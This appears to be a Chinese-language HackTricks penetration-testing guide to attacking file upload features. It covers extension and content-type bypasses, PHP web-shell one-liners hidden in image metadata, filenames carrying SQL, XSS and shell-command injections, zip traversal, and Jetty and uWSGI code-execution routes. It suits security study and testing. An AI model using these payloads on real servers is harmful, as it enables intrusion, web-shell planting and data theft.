File Upload
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:
HackTricks 培训 GCP 红队专家 (GRTE)
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-e70bceed6fa35760d025f037a78106ab025a68cd%252Fimage%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=80803e01&sv=1)
如果你对 黑客职业 感兴趣并想要攻破不可攻破的 - 我们正在招聘! (需要流利的波兰语书写和口语能力).
文件上传一般方法论
其他有用的扩展名:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
在 PHPv8 中工作: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web 服务器: .yaws
绕过文件扩展名检查
如果适用,检查 之前的扩展名。也可以使用一些 大写字母 测试它们:pHp, .pHP5, .PhAr ...
检查 在执行扩展名之前添加有效扩展名(也使用之前的扩展名):
file.png.php
file.png.Php5
尝试在末尾添加 特殊字符。你可以使用 Burp 来 暴力破解 所有的 ascii 和 Unicode 字符。 (注意你也可以尝试使用 之前 提到的 扩展名)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
尝试通过 欺骗服务器端的扩展解析器 来绕过保护,使用像 双重 扩展名或 添加垃圾 数据(空 字节)在扩展名之间。你也可以使用 之前的扩展名 来准备更好的有效载荷。
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
在之前的检查中添加 另一层扩展名:
file.png.jpg.php
file.php%00.png%00.jpg
尝试将 exec 扩展名放在有效扩展名之前,并祈祷服务器配置错误。(有助于利用 Apache 配置错误,其中任何带有扩展名 _.php_ 的内容,但不一定以 .php 结尾的内容将执行代码):
例如: file.php.png
在 Windows 中使用 NTFS 备用数据流 (ADS)。在这种情况下,冒号字符 “:” 将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个 带有禁止扩展名的空文件(例如 “file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。“::$data” 模式也可以用于创建非空文件。因此,在此模式后添加一个点字符也可能有助于绕过进一步的限制(例如 “file.asp::$data.”)
尝试打破文件名限制。有效扩展名被截断。恶意 PHP 被保留。AAA<--SNIP-->AAA.php
绕过内容类型、魔术数字、压缩和调整大小
通过将 Content-Type 头 的 值 设置为:image/png , text/plain , application/octet-stream 来绕过 Content-Type 检查。
通过在文件开头添加 真实图像的字节 来绕过 魔术数字 检查(混淆 file 命令)。或者在 元数据 中引入 shell:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
或者你也可以 直接在图像中引入有效载荷:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
网页也可能在 调整图像大小,例如使用 PHP-GD 函数
imagecopyresized
或imagecopyresampled
。然而,你可以使用 IDAT 块 在这里定义的技术 插入一些文本以 在压缩中存活。另一种制作 在图像调整大小中存活的有效载荷 的技术,使用 PHP-GD 函数
thumbnailImage
。然而,你可以使用 tEXt 块 在这里定义的技术 插入一些文本以 在压缩中存活。
其他检查技巧
找到一个 重命名 已上传文件的漏洞(以更改扩展名)。
找到一个 本地文件包含 漏洞以执行后门。
可能的信息泄露:
上传 多次(并且在 同一时间)相同的 文件,使用相同的名称。
上传一个 已经存在 的 文件 或 文件夹 的 名称 的文件。
上传一个 “.”, “..”, 或 “…” 作为其名称 的文件。例如,在 Apache 的 Windows 中,如果应用程序将上传的文件保存在 “/www/uploads/” 目录中,名称为 “.” 的文件将创建一个名为 “uploads” 的文件在 “/www/” 目录中。
上传一个可能不容易删除的文件,例如 “…:.jpg” 在 NTFS 中。(Windows)
在 Windows 中上传一个带有 无效字符 的文件,例如
|<>*?”
在其名称中。(Windows)在 Windows 中上传一个使用 保留(禁止) 名称 的文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
还可以尝试 上传一个可执行文件(.exe)或一个 .html(不太可疑)文件,当受害者意外打开时 将执行代码。
特殊扩展名技巧
如果你尝试将文件上传到 PHP 服务器, 查看 .htaccess 技巧以执行代码。 如果你尝试将文件上传到 ASP 服务器, 查看 .config 技巧以执行代码。
.phar
文件类似于 Java 的 .jar
,但用于 PHP,并且可以 像 PHP 文件一样使用(通过 PHP 执行或在脚本中包含它...)
.inc
扩展名有时用于仅用于 导入文件 的 PHP 文件,因此,在某些时候,可能有人允许 此扩展名被执行。
Jetty RCE
如果你可以将 XML 文件上传到 Jetty 服务器,你可以获得 RCE,因为 新的 *.xml 和 *.war 会被自动处理. 所以,如下图所示,将 XML 文件上传到 $JETTY_BASE/webapps/
并期待 shell!
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-4f2d7d1408ac9a25ff9543c2e7b7f115b5a0af55%252Fimage%2520%281047%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=9994b5c1&sv=1)
uWSGI RCE
有关此漏洞的详细探索,请查看原始研究:uWSGI RCE 利用。
如果能够修改 .ini
配置文件,则可以在 uWSGI 服务器中利用远程命令执行 (RCE) 漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和运算符。特别是,@
运算符,作为 @(filename)
使用,旨在包含文件的内容。在 uWSGI 支持的各种方案中,“exec” 方案尤其强大,允许从进程的标准输出读取数据。当处理 .ini
配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
考虑以下有害的 uwsgi.ini
文件示例,展示各种方案:
在解析配置文件时,负载的执行会发生。为了激活和解析配置,uWSGI 进程必须被重启(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用了自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说,讨论的负载可以插入到二进制文件中(例如图像或 PDF),进一步扩大潜在利用的范围。
wget 文件上传/SSRF 技巧
在某些情况下,您可能会发现服务器正在使用 wget
来 下载文件,并且您可以 指示 URL。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保仅下载允许的文件。然而,此检查可以被绕过。
linux 中 文件名 的 最大 长度为 255,但是 wget 会将文件名截断为 236 个字符。您可以 下载一个名为 "A"*232+".php"+".gif" 的文件,这个文件名将 绕过 检查(因为在这个例子中 ".gif" 是一个 有效 扩展名),但 wget
会将文件 重命名 为 "A"*232+".php"。
注意,您可能正在考虑的另一个选项是使HTTP服务器重定向到不同的文件,这样初始URL将绕过检查,然后wget将下载重定向的文件并使用新名称。这不会工作,除非wget与参数--trust-server-names
一起使用,因为wget将下载重定向页面,并使用原始URL中指示的文件名。
工具
Upload Bypass 是一个强大的工具,旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术来简化识别和利用漏洞的过程,确保对Web应用程序进行全面评估。
从文件上传到其他漏洞
将filename设置为
../../../tmp/lol.png
并尝试实现路径遍历将filename设置为
sleep(10)-- -.jpg
,您可能能够实现SQL注入将filename设置为
<svg onload=alert(document.domain)>
以实现XSS将filename设置为
; sleep 10;
以测试一些命令注入(更多命令注入技巧在这里)JS文件上传 + XSS = Service Workers利用
尝试来自https://github.com/allanlw/svg-cheatsheet的不同svg有效负载****
如果您可以指示Web服务器从URL捕获图像,您可以尝试利用SSRF。如果此图像将被保存在某个公共网站上,您还可以指示来自https://iplogger.org/invisible/的URL并窃取每个访问者的信息。
特别制作的PDF以实现XSS:以下页面展示如何注入PDF数据以获得JS执行。如果您可以上传PDF,您可以准备一些将执行任意JS的PDF,遵循给定的指示。
上传[eicar](https://secure.eicar.org/eicar.com.txt)内容以检查服务器是否有任何防病毒
检查上传文件是否有任何大小限制
以下是您可以通过上传实现的前10个事项(来自这里):
ASP / ASPX / PHP5 / PHP / PHP3:Webshell / RCE
SVG:存储的XSS / SSRF / XXE
GIF:存储的XSS / SSRF
CSV:CSV注入
XML:XXE
AVI:LFI / SSRF
HTML / JS:HTML注入 / XSS / Open redirect
PNG / JPEG:像素洪水攻击(DoS)
ZIP:通过LFI / DoS的RCE
PDF / PPTX:SSRF / BLIND XXE
Burp扩展
魔法头字节
PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG:
"\xff\xd8\xff"
请参阅https://en.wikipedia.org/wiki/List_of_file_signatures以获取其他文件类型。
Zip/Tar文件自动解压上传
如果您可以上传一个将在服务器内部解压的ZIP,您可以做两件事:
Symlink
上传一个包含软链接到其他文件的链接,然后,访问解压的文件时,您将访问链接的文件:
在不同文件夹中解压
在解压过程中意外创建文件在目录中是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制,通过操纵目标应用程序的解压功能逃离安全上传目录。
一个自动化的利用工具可以在 evilarc on GitHub 找到。该工具的使用方法如下:
此外,使用 evilarc 的符号链接技巧是一个选项。如果目标是针对像 /flag.txt
这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在操作过程中不会遇到错误。
下面是用于创建恶意 zip 文件的 Python 代码示例:
滥用压缩进行文件喷洒
有关更多详细信息 请查看原始帖子: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
创建 PHP Shell: PHP 代码被编写以执行通过
$_REQUEST
变量传递的命令。
文件喷洒和压缩文件创建: 创建多个文件,并组装一个包含这些文件的 zip 存档。
使用十六进制编辑器或 vi 进行修改: 使用 vi 或十六进制编辑器更改 zip 内部文件的名称,将 "xxA" 更改为 "../" 以遍历目录。
ImageTragic
将此内容与图像扩展一起上传以利用该漏洞 (ImageMagick , 7.0.1-1) (来自 exploit)
在PNG中嵌入PHP Shell
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的imagecopyresized
和imagecopyresampled
函数在此上下文中特别相关,因为它们通常用于调整和重新采样图像。嵌入的PHP shell能够不受这些操作影响,这在某些用例中是一个显著的优势。
以下文章提供了对该技术的详细探索,包括其方法论和潜在应用:"在PNG IDAT块中编码Web Shell"。该资源提供了对该过程及其影响的全面理解。
更多信息请见:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
多语言文件
多语言文件在网络安全中作为一种独特工具,像变色龙一样可以同时有效地存在于多种文件格式中。一个有趣的例子是GIFAR,它既可以作为GIF也可以作为RAR档案。这类文件并不限于这种配对;像GIF和JS或PPT和JS的组合也是可行的。
多语言文件的核心实用性在于它们能够绕过基于类型筛选文件的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式(例如JS、PHP或Phar文件)带来的风险。然而,多语言文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。
尽管它们具有适应性,但多语言文件确实面临限制。例如,虽然一个多语言文件可能同时包含PHAR文件(PHp ARchive)和JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多语言文件的结构双重性可能不足以保证其上传。
更多信息请见:https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
参考文献
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-e70bceed6fa35760d025f037a78106ab025a68cd%252Fimage%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=80803e01&sv=1)
如果你对黑客职业感兴趣并想要攻克不可攻克的目标 - 我们正在招聘! (要求流利的波兰语书写和口语能力).
学习和实践AWS黑客技术:HackTricks培训AWS红队专家(ARTE)
学习和实践GCP黑客技术:
HackTricks培训GCP红队专家(GRTE)
Last updated